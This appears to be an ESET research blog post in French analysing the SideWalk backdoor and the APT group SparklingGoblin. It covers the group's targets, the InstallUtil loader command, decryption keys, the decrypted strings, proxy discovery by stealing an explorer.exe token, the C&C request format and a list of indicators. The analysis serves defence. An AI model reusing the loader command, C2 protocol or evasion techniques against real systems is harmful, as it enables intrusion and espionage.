SideWalk : Potentiellement aussi dangereux que CROSSWALK

Les chercheurs d'ESET ont récemment découvert une nouvelle porte dérobée modulaire non documentée, SideWalk, utilisée par un groupe APT que nous avons nommé SparklingGoblin; cette porte dérobée a été utilisée lors d'une des récentes campagnes de SparklingGoblin qui visait une société de vente au détail d'ordinateurs basée aux États-Unis. Ce backdoor présente de nombreuses similitudes avec un autre backdoor utilisé par le groupe CROSSWALK.

SideWalk est un backdoor modulaire qui peut charger dynamiquement des modules supplémentaires envoyés par son serveur C&C, utilise Google Docs comme résolveur de dead drop et les travailleurs de Cloudflare comme serveur C&C. Il peut également gérer correctement la communication derrière un serveur de messagerie. Il peut également gérer correctement la communication derrière un proxy.

SparklingGoblin, membre de la famille Winnti

En novembre 2019, nous avons découvert une campagne du groupe Winnti ciblant plusieurs universités de Hong Kong qui avait débuté fin octobre 2019, et nous avons publié un article à ce sujet. Au cours de cette campagne, les attaquants ont principalement utilisé la backdoor ShadowPad et le logiciel malveillant Winnti, ainsi que la backdoor Spyder et une backdoor basée sur DarkShell (un RAT open source) que nous avons nommée Doraemon.

À la suite de cette campagne, en mai 2020 (comme documenté dans notre Rapport sur les menaces – 2^e trimestre 2020), nous avons observé une nouvelle campagne ciblant l'une des universités précédemment compromises par Winnti Group en octobre 2019, où les attaquants ont utilisé la backdoor CROSSWALK et une variante de PlugX utilisant Google Docs comme résolveur de dead drop. Même si cette campagne présentait des liens avec Winnti Group, le modus operandi était très différent, et nous avons commencé à le suivre comme un acteur de menace distinct.

Après la compromission de l'université de Hong Kong, nous avons observé de nombreuses compromissions d'organisations dans le monde entier à l'aide d'outils et de TTP similaires. Compte tenu de ces TTP particuliers et pour éviter d'ajouter à la confusion générale autour de l'étiquette « Groupe Winnti », nous avons décidé de documenter ce groupe d'activité en tant que nouveau groupe, que nous avons nommé SparklingGoblin, et que nous pensons être lié au Groupe Winnti tout en présentant certaines différences.

Victimologie

Depuis le milieu de l'année 2020, selon notre télémétrie, SparklingGoblin a été très actif et le reste en 2021. Même si le groupe cible principalement l'Asie de l'Est et du Sud-Est, nous avons vu SparklingGoblin cibler un large éventail d'organisations et de verticaux dans le monde entier, avec un accent particulier sur le secteur universitaire, mais incluant :

• Des secteurs académiques à Macao, Hong Kong et Taiwan
• Une organisation religieuse à Taiwan
• Un fabricant d'ordinateurs et d'électronique à Taiwan
• Des organisations gouvernementales en Asie du Sud-Est
• Une plateforme de commerce électronique en Corée du Sud
• Le secteur de l'éducation au Canada
• Des entreprises de médias en Inde, au Bahreïn et aux États-Unis.
• Une société de vente au détail d'ordinateurs basée aux États-Unis
• Un gouvernement local en Géorgie (le pays)
• Des organisations non identifiées localisées en Corée du Sud et à Singapour.

Figure 1. Distribution géographique des cibles de SparklingGoblin

SideWalk

La mise en scène de SideWalk est résumée dans la figure 2. Le backdoor SideWalk est un shellcode chiffré en ChaCha20 qui est chargé à partir du disque par les chargeurs .NET basés sur InstallUtil de SparklingGoblin.

Figure 2. Mécanisme de mise en scène de SideWalk

De plus, comme nous allons le montrer ci-dessous, la porte dérobée SideWalk présente de nombreuses similitudes avec CROSSWALK, une porte dérobée modulaire attribuée à APT41 par FireEye et documentée publiquement par Carbon Black.

Premier niveau

Le shellcode de SideWalk est déployé crypté sur le disque sous le nom de Microsoft.WebService.targets et chargé à l'aide du chargeur .NET basé sur InstallUtil de SparklingGoblin, obscurci par un ConfuserEx modifié, un protecteur open source pour les applications .NET fréquemment utilisé par le groupe.

Les chargeurs .NET de SparklingGoblin persistent via une tâche planifiée utilisant l'un des noms de fichiers suivants :

• RasTaskStart
• RasTaskManager
• WebService

Il exécute le chargeur à l'aide de l'utilitaire InstallUtil.exe en utilisant la commande suivante :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /ParentProc=none /U C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallWebService.sql

où InstallWebService.sql représente le chargeur .NET malveillant. Lorsqu'il est lancé avec l'indicateur /U, comme ici, la méthode Uninstall de la classe USCInstaller dans l'espace de noms UPrivate du chargeur .NET est appelée (voir Figure 3).

Figure 3. Hiérarchie d'un chargeur basé sur InstallUtil

Une version désobfusée de la méthode RunShellcode appelée par la méthode Uninstall est présentée à la figure 4.

Figure 4. Méthode de chargement .NET appelée par la méthode Uninstall et qui décrypte et injecte le shellcode.

Comme nous pouvons le voir, le chargeur est chargé de lire le shellcode chiffré sur le disque, de le déchiffrer et de l'injecter dans un processus légitime à l'aide de la technique de creusement de processus (ou process hollowing technique). Notez que l'algorithme de déchiffrement utilisé varie selon les échantillons.

En outre, notez que SparklingGoblin utilise une variété de chargeurs de shellcode différents, tels que le chargeur Motnug et les chargeurs basés sur ChaCha20. Motnug est un chargeur de shellcode assez simple qui est fréquemment utilisé pour charger la porte dérobée CROSSWALK, tandis que les chargeurs basés sur ChaCha20, comme leur nom l'indique, sont utilisés pour déchiffrer et charger le shellcode chiffré avec l'algorithme ChaCha20. L'implémentation de ChaCha20 utilisée dans ce chargeur est la même que celle utilisée dans la porte dérobée SideWalk décrite ci-dessous. Cette implémentation est basée sur un compteur (mode CTR), utilisant un nonce de 12 octets et une clé de 32 octets avec une valeur de compteur de 11, conduisant à l'état initial suivant :

La valeur du compteur 0x0000000B diffère de l'implémentation habituelle de ChaCha20, où elle est généralement fixée à 0.

Notez que ces chargeurs basés sur ChaCha20 ont été précédemment documentés dans un article publié par Positive Technologies.

Initialisation

Comme CROSSWALK, le shellcode SideWalk utilise une structure principale pour stocker les chaînes de caractères, les variables, l'Import Address Table (IAT) et ses données de configuration. Cette structure est ensuite transmise comme argument à toutes les fonctions qui en ont besoin. Au cours de l'initialisation de SideWalk, les chaînes sont d'abord déchiffrées et ajoutées à la structure, puis la partie de la structure responsable du stockage de l'IAT est remplie, et enfin la configuration de SideWalk est décryptée.

Déchiffrement des données et du pool de chaînes

Au tout début de son exécution, la section de données à la fin du shellcode est décryptée en utilisant une boucle XOR et cette clé de 16 octets : B0 1D 1E 4B 68 76 FF 2E 49 16 EB 2B 74 4C BB 3A. Cette section, une fois déchiffrée, contient les chaînes de caractères qui seront utilisées par SideWalk, notamment :

• les clés de registre
• les clés de déchiffrement
• le chemin pour écrire les fichiers reçus du serveur C&C
• la méthode HTTP à utiliser
• les paramètres de la requête http
• URL utilisées pour récupérer la configuration du proxy local
• les délimiteurs utilisés pour récupérer l'adresse IP cryptée du document Google Docs.

Le pool de chaînes déchiffrées est présenté dans la Figure 5 ci-dessous.

SOFTWARE\Microsoft\Cryptography
Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyServer
kT7fDpaQy9UhMz3
ZFYP0BV7SJ2LUH1Q9WEC8RTMXAKG6D3NO5I4LAHXN1EDRVC
PBKW0X8MEOUSCA6LQJYH4R97VNI5T31FD2ZG697NYYGB81W
o71UwSfKrH0NkRhjOmXqFGMAWDplz4s
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Kernel32.dll
GetTickCount64
GetTickCount
texplorer.exe
%AllUsersProfile%\UTXP\nat\
%02X
GET
POST
Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36
gtsid: 
gtuvid: 
https://msdn.microsoft.com
https://www.google.com
https://www.twitter.com
https://www.facebook.com
0B93ACF2
PublicKey:AE6849916EB80C28FE99FC0F3EFF
CC1F99653E93305D
httpss
Global\JanzYQtWDWFejAFR

Figure 5. Chaînes de configuration déchiffées de SideWalk

Notez que, comme SideWalk, CROSSWALK commence également son exécution par le décryptage d'un pool de chaînes en utilisant une boucle XOR et une clé de 16 octets.

Instruction de déchiffrement

Après avoir décrypté la section de données à la fin du shellcode, SideWalk procède ensuite au décryptage du reste de ses instructions (à partir de l'offset 0x528) en utilisant la même boucle XOR avec une clé différente de 16 octets : 26 74 94 78 36 60 C1 0C 41 56 0E 60 B1 54 D7 31.

Anti-sabotage

Une fois qu'il a décrypté ses données et son code, SideWalk procède à la vérification de son intégrité en calculant une somme de contrôle de 32 bits, en faisant tourner le résultat vers la droite de 13 bits à chaque mot de 32 bits et en comparant la valeur de hachage avec une valeur de référence correspondant au shellcode non altéré. Si le hachage est différent de la valeur de référence, il sort. Cela permet au shellcode de détecter les points d'arrêt ou les correctifs apportés à son code et d'éviter l'exécution dans de tels cas. Le code décompilé correspondant est présenté dans la Figure 6.

Figure 6. Code décompilé de la procédure anti-tampering de SideWalk

IAT

Outre le pool de chaînes, les données décodées contiennent également les noms des DLL, ainsi que les hachages des noms des fonctions, à charger. Contrairement à CROSSWALK, qui utilise la représentation en chaîne des hachages, les hachages sont stockés directement dans leur représentation binaire brute. La partie correspondante de la structure principale, après avoir résolu les adresses d'importation, est présentée à la figure 7. Les noms des DLL à charger sont surlignés en gris, les hachages des noms des fonctions de l'API Windows à importer sont en violet et les adresses des fonctions importées sont en vert.

Figure 7. La structure IAT de SideWalk

SideWalk itère sur les exportations de chacune des DLL listées dans les données décodées et les hachent avec un algorithme de hachage personnalisé, puis les compare aux hachages des noms de fonctions à importer. Lorsqu'une correspondance est trouvée, l'adresse de la fonction correspondante est ajoutée à la structure principale.

Configuration

Une fois l'IAT remplie, SideWalk procède au décryptage de sa configuration. La configuration est chiffrée à l'aide de l'algorithme ChaCha20 et la clé de déchiffrement fait partie du pool de chaînes mentionné ci-dessus. L'implémentation de ChaCha20 est la même que celle utilisée pour le chargeur basé sur ChaCha20. La configuration décryptée contient les valeurs utilisées par SideWalk pour son bon fonctionnement, ainsi que le serveur C&C update.facebookint.workers[.]dev, et l'URL du document Google Docs qui est ensuite utilisé comme résolveur de dead-drop.

Notez que le domaine update.facebookint.workers[.]dev est un travailleur Cloudflare qui permet aux opérateurs de logiciels malveillants de personnaliser le serveur, qui fonctionne sur un service Web public largement utilisé. Au cours de cette campagne, SparklingGoblin a également utilisé un domaine Cloudflare worker avec Cobalt Strike : cdn.cloudfiare.workers[.]dev.

Activité du réseau

Une des caractéristiques de SideWalk est de vérifier si une configuration proxy est présente avant de commencer à communiquer avec le serveur C&C. Pour ce faire, il essaie deux techniques :

• Un appel à la fonction API WinHttpGetIEProxyConfigForCurrentUser, avec des URL prédéfinies contenues dans sa configuration :

• • https://msdn.microsoft.com
  • https://www.google.com
  • https://www.twitter.com
  • https://www.facebook.com
• Si SideWalk est en mesure d'ajuster ses privilèges à SeDebugPrivilege, il tente de récupérer la configuration du proxy dans HKU\<user SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer. Sinon, il essaie de la récupérer à partir de HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer.

SideWalk tente d'obtenir la configuration du proxy de la session utilisateur actuelle en volant le token utilisateur d'explorer.exe (le nom du processus à rechercher est dans la configuration) et en appelant l'API Windows WinHttpGetIEProxyConfigForCurrentUser.

Notez que SideWalk dispose des autorisations nécessaires pour usurper l'identité des utilisateurs connectés car il est chargé par le chargeur .NET basé sur InstallUtil, qui persiste en tant que tâche planifiée, et s'exécute donc sous le compte SYSTEM. Il est intéressant de noter que la même procédure pour obtenir le token explorer.exe est décrite dans cet article rédigé en chinois. La procédure décompilée est présentée dans la Figure 8.

Figure 8. Code décompilé responsable de l'usurpation d'identité de l'utilisateur avant la récupération de la configuration du proxy

Formats des requêtes

La page Google Docs utilisée par SideWalk comme résolveur de dead-drop est présentée dans la capture d'écran suivante (Figure 9), et au moment de la rédaction de ce document, elle est toujours en ligne. Notez que tout le monde peut modifier cette page.

Figure 9. Document Google Docs utilisé par SideWalk comme résolveur de dead-drop

La chaîne de caractères présente dans cette page a le format décrit dans la Figure 10.

Figure 10. Format de la chaîne hébergée sur le document Google Docs

Figure 10. Format de la chaîne hébergée sur le document Google Docs

Cette chaîne est composée de :

• De délimiteurs utilisés pour une bonne analyse syntaxique.
• Une charge utile et sa taille, qui consiste en une adresse IP chiffrée en ChaCha20, la clé de déchiffrement et, pour un contrôle d'intégrité, le hachage de la clé de déchiffrement.
• Des chaînes supplémentaires qui sont actuellement inutilisées.

Pour faciliter l'utilisation potentielle future de ce formatage, nous avons fourni un script dans notre répertoire GitHub.

L'adresse IP décryptée est 80.85.155[.]80. Ce serveur C&C utilise un certificat auto-signé pour le domaine facebookint[.]com. Ce domaine a été attribué à BARIUM par Microsoft, ce qui recoupe partiellement ce que nous définissons comme le groupe Winnti. Comme cette adresse IP n'est pas la première à être utilisée par le logiciel malveillant, elle est considérée comme l'adresse de réponse.

Le protocole de communication utilisé par SideWalk pour communiquer avec son serveur C&C est HTTPS et le format des en-têtes de requête POST envoyés au C&C est illustré à la Figure 11.

POST /M26RcKtVr5WniDVZ/5CDpKo5zmAYbTmFl HTTP/1.1
Cache-Control: no-cache
Connection: close
Pragma: no-cache
User-Agent: Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36
gtsid: zn3isN2C6bWsqYvO
gtuvid: 7651E459979F931D39EDC12D68384C21249A8DE265F3A925F6E289A2467BC47D
Content-Length: 120
Host: update.facebookint.workers.dev

Figure 11. Exemple d'une requête POST utilisée par SideWalk

Tant l'URL que les valeurs des paramètres gtsid et gtuvid sont générées de manière aléatoire. Le champ Hôte est soit l'IP récupérée de Google Docs, soit défini sur update.facebookint.workers[.]dev. Les données de la requête POST sont des données utiles chiffrées. Le format utilisé par cette demande est le format de communication utilisé par les opérateurs de SideWalk entre le serveur C&C et les machines infectées, par exemple, les demandes et les réponses. Le format des données de la requête POST est illustré à la figure 12.

Figure 12. Format des données de la requête POST

Notez que ce format est utilisé à la fois pour la demande et la réponse, ce qui signifie que lorsque SideWalk traite les données renvoyées par le serveur C&C, il les analyse selon le même format. Il n'y a pas de similitude particulière du côté de la communication avec le serveur C&C entre CROSSWALK et SideWalk.

Dans ce format, les champs sont :

• hash : le hachage des données de 0x10 à total_size de la charge utile. L'algorithme de hachage est un hachage personnalisé combiné à de multiples appels MD5 sur différentes parties des données hachées.
• size : la taille est égale à total_size - 0x0D.
• key1, key2 : clés ChaCha20 pour chiffrer le tampon d'en-tête et le tampon de données.
• parameter buffer : tampon optionnel (peut être 0...0).
• victim ID : information d'authentification, qui est le résultat d'un hachage personnalisé de diverses informations sur la machine, notamment le GUID de la machine et le nom de l'ordinateur.
• execution ID : avant de lancer les threads, cet ID est généré en utilisant CryptGenRandom. Il est différent pour chaque exécution.
• command ID/ response ID : ID de l'action qui a été traitée par le logiciel malveillant lorsqu'il s'agit d'une requête du logiciel malveillant au serveur C&C, et l'ID de la commande à exécuter lorsqu'il s'agit d'une réponse du serveur C&C au logiciel malveillant.
• Counter : nombre de commandes exécutées depuis le début du processus SideWalk actuel.
• data : les données compressées et cryptées en ChaCha20 récupérées par le logiciel malveillant ou envoyées par le serveur C&C.
• compressed size : la taille des données compressées en LZ4.
• data size : la taille des données non compressées.

Les Header Buffer et Data Buffer sont chiffrés à l'aide des clés correspondantes. La première représente les métadonnées permettant d'identifier la machine compromise, et la seconde correspond aux données réelles partagées entre le serveur C&C et le logiciel malveillant. Les détails de ces champs, illustrés à la figure 12, sont visibles une fois déchiffrés.

Capacités

Lorsque nous avons commencé à analyser SideWalk, comme son serveur C&C était déjà hors service, certaines des actions possibles n'étaient pas entièrement compréhensibles sans connaître les données envoyées par le serveur C&C, mais la plupart des capacités du logiciel malveillant sont documentées dans le tableau suivant.

Tableau 1. Commandes C&C prises en charge par SideWalk

Prenez note : comme nous n'avons récupéré aucun plug-in du serveur C&C, il est difficile d'évaluer toutes les capacités de SideWalk.

Le lien avec CROSSWALK

Même si le code de SideWalk et celui de CROSSWALK diffèrent, les deux familles partagent de multiples similitudes architecturales, avec une technique anti-tampering, un modèle de threading et une disposition des données similaires, ainsi que la manière dont ces données sont traitées tout au long de l'exécution. En termes de fonctionnalités, les deux backdoors sont modulaires et capables de gérer des proxies pour communiquer correctement avec leurs serveurs C&C.

Ces similitudes sont décrites ci-dessous et résumées dans un tableau à la fin de cette section.

Compte tenu de toutes ces similitudes, nous pensons que SideWalk et CROSSWALK sont très probablement codés par les mêmes développeurs.

Architecture

Le modèle de threads est très similaire entre SideWalk et CROSSWALK. Les auteurs répartissent les tâches entre les threads et utilisent les appels de l'API Windows PostThreadMessage pour communiquer entre eux. Par exemple, un thread est chargé de faire une demande, et une fois qu'il reçoit la réponse, il la transfère au thread approprié.

Le style de programmation est également très similaire. En effet, une approche fonctionnelle est utilisée. Une structure de données stocke la configuration, les chaînes de caractères et les importations, et elle est transmise comme argument à toutes les fonctions qui en ont besoin.

Par exemple, voici quelques prototypes de fonctions :

• __int64 getMachineGuid(main_struct* main_struct, __int64 machineguid)
• __int64 writeBufferToFile(main_struct* main_struct, __int64 buffer, unsigned int nbBytes)
• __int64 recv(main_struct* main_struct, __int64 socket, unsigned int nbBytes, __int64 buffer)

SideWalk et CROSSWALK sont tous deux des backdoors modulaires qui peuvent charger des modules supplémentaires envoyés par le serveur C&C. La manipulation du module SideWalk est mise en œuvre de manière similaire à CROSSWALK. Certaines des opérations possibles sur les modules sont l'exécution, l'installation et la désinstallation.

Fonctionnalités

Comme CROSSWALK, pendant son initialisation, SideWalk calcule une valeur de hachage de 32 bits du shellcode au tout début de son exécution en utilisant une boucle ROR4.

CROSSWALK et SideWalk rassemblent des artefacts similaires, dont :

• IP configuration
• OS version
• Username
• Computer name
• Filename
• Current process ID
• Current time

La gestion du proxy est la même dans CROSSWALK et SideWalk. Tous deux utilisent des URL légitimes et courantes (telles https://www.google.com ou https://www.twitter.com) et un appel à l'API Windows WinHttpGetIEProxyConfigForCurrentUser pour récupérer la configuration du proxy.

Disposition des données

SideWalk et CROSSWALK suivent la même disposition de shellcode, avec des instructions suivies de chaînes de caractères, de l'IAT et de données de configuration chiffrées.

Traitement des données

SideWalk et CROSSWALK traitent les données à la fin du shellcode de la même manière :

• Tout d'abord, la section de données est décryptée à l'aide d'une boucle XOR de 16 octets.
• Ensuite, les adresses des fonctions provenant des hachages de noms stockés dans la section de données sont résolues et stockées dans sa structure principale (pointant vers l'IAT dans la section de données).
• Enfin, sa configuration qui contient l'adresse du serveur C&C est décryptée (bien que l'algorithme de décryptage utilisé par SideWalk soit différent).

Tableau 2. Résumé des similitudes entre SideWalk et CROSSWALK

Conclusion

SideWalk est une porte dérobée non documentée utilisée par le groupe APT SparklingGoblin. Il a très probablement été produit par les mêmes développeurs que ceux à l'origine de CROSSWALK, avec lesquels il partage de nombreuses structures de conception et détails d'implémentation.

SparklingGoblin est un groupe ayant un certain niveau de connexion avec le groupe Winnti. Il a été très actif en 2020 et dans la première moitié de 2021, compromettant de multiples organisations sur un large éventail de verticaux dans le monde entier et avec un accent particulier sur le secteur universitaire et l'Asie de l'Est.

ESET Research propose désormais un rapport de renseignement APT privé et un flux de données. Pour toute demande de renseignements sur ce nouveau service, ou sur les recherches publiées sur WLS, contactez-nous à threatintel@eset.com.

Indicateurs de compromission (IoCs)

Une liste complète des indicateurs de compromission et des échantillons se trouve dans notre dépôt GitHub.

Échantillons

Notez que l'échantillon SideWalk référencé ci-dessous n'est pas celui sur lequel notre analyse est basée. En effet, l'échantillon réel utilisé pendant la compromission est celui qui est discuté en détail dans le texte de ce blogpost.

Réseaux

update.facebookint.workers[.]dev
cdn.cloudfiare.workers[.]dev
104.21.49[.]220
80.85.155[.]80
193.38.54[.]110

Noms de fichier

C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\WebService
C:\windows\system32\tasks\Microsoft\Windows\Ras\RasTaskStart
iislog.tmp
mscorsecimpl.tlb
C_25749.NLS
Microsoft.WebService.targets

Certificat SSL

Techniques MITRE ATT&CK

Ce tableau a été créé en utilisant la version 9 de MITRE ATT&CK.